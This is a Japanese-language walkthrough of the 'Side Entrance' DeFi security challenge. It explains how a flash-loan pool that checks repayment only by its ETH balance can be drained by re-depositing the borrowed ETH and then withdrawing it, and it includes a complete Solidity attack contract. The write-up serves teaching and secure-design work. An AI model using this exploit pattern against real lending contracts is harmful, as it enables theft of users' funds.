Skip to content
On this page

Side Entrance:イーサリアムの宝への抜け道?


チャレンジ背景

一見すると非常にシンプルなイーサリアムの資金プールを想像してください。誰でも自由に ETH を預け入れ、いつでも引き出すことができます。このプールには現在 1000 ETH が保管されており、さらにプロモーションの一環として 無料のフラッシュローン まで提供しています。

そしてあなたは挑戦者として、初期資産は 1 ETH

目標はシンプルです:

👉 プール内のすべての ETH を奪い、recovery アカウントへ送金すること

このチャレンジは Side Entrance と呼ばれます。 一見すると単純な「入出金自由」の仕組みですが、

👉 「無料フラッシュローン」+「自由な入出金」

この2つの組み合わせが、致命的な脆弱性を生み出します。


コントラクト解析:SideEntranceLenderPool.sol

deposit()

  • ETH を預け入れる
  • balances[msg.sender] に加算される

withdraw()

  • 自分の残高をすべて引き出す
  • 残高は 0 にリセットされる

flashLoan(uint256 amount)

フラッシュローンの流れ:

  1. 借入者の execute() を呼び出す(ETH付き)
  2. 処理終了後、残高をチェック
  3. もし減っていれば:

👉 RepayFailed() エラー


「サイドエントランス」の正体

重要なポイント:

👉 返済チェックは execute() の後に行われる

つまり:

👉 execute() 実行中は自由に操作できる


脆弱性の本質

execute() 内で:

👉 借りた ETH を deposit() で再入金 できる

すると:

  • プールの総残高 → 減らない
  • 返済チェック → 通過

しかし:

👉 内部的には自分の残高として記録される


攻撃手順

1. 攻撃コントラクト作成

  • IFlashLoanEtherReceiver を実装
  • execute() を定義

2. execute() の処理

solidity
target.deposit{value: msg.value}();

👉 借りた ETH をそのまま預け直す


3. exploit 実行

ステップ:

  1. フラッシュローンで全額借入
solidity
target.flashLoan(address(target).balance);
  1. execute 内で deposit

👉 返済チェック通過

  1. withdraw 実行
solidity
target.withdraw();

👉 自分の残高として全額引き出し


4. 最終送金

solidity
Address.sendValue(_recovery, address(this).balance);

完全コード

solidity
contract MyContract is IFlashLoanEtherReceiver {
    SideEntranceLenderPool private immutable target;

    constructor(address _target) {
        target = SideEntranceLenderPool(_target);
    }

    function execute() external payable {
        target.deposit{value: msg.value}();
    }

    function exploit(address payable _recovery) external {
        target.flashLoan(address(target).balance);
        target.withdraw();
        Address.sendValue(_recovery, address(this).balance);
    }

    receive() external payable {}
}

攻撃の結果

  • フラッシュローンは「正常に返済された」と判断される
  • しかし実際には:

👉 全ETHが自分の残高として記録される

👉 その後すべて引き出し可能


重要ポイント

  • フラッシュローンの返済チェックは“残高”のみ
  • deposit は返済としてカウントされる
  • 内部会計と実残高のズレ
  • withdraw による資金回収

本質的な問題

この脆弱性は:

👉 「返済」と「預金」の区別がない設計ミス


結論

Side Entrance チャレンジは、次の教訓を示しています:

  • フラッシュローンの検証は慎重に設計すべき
  • 内部状態と実際の資産の整合性が重要
  • 「正常に見える動作」こそ危険

👉 正面からは守られていても、 👉 側面(Side Entrance)から突破される

これが DeFi セキュリティの本質です。

Built with AiAda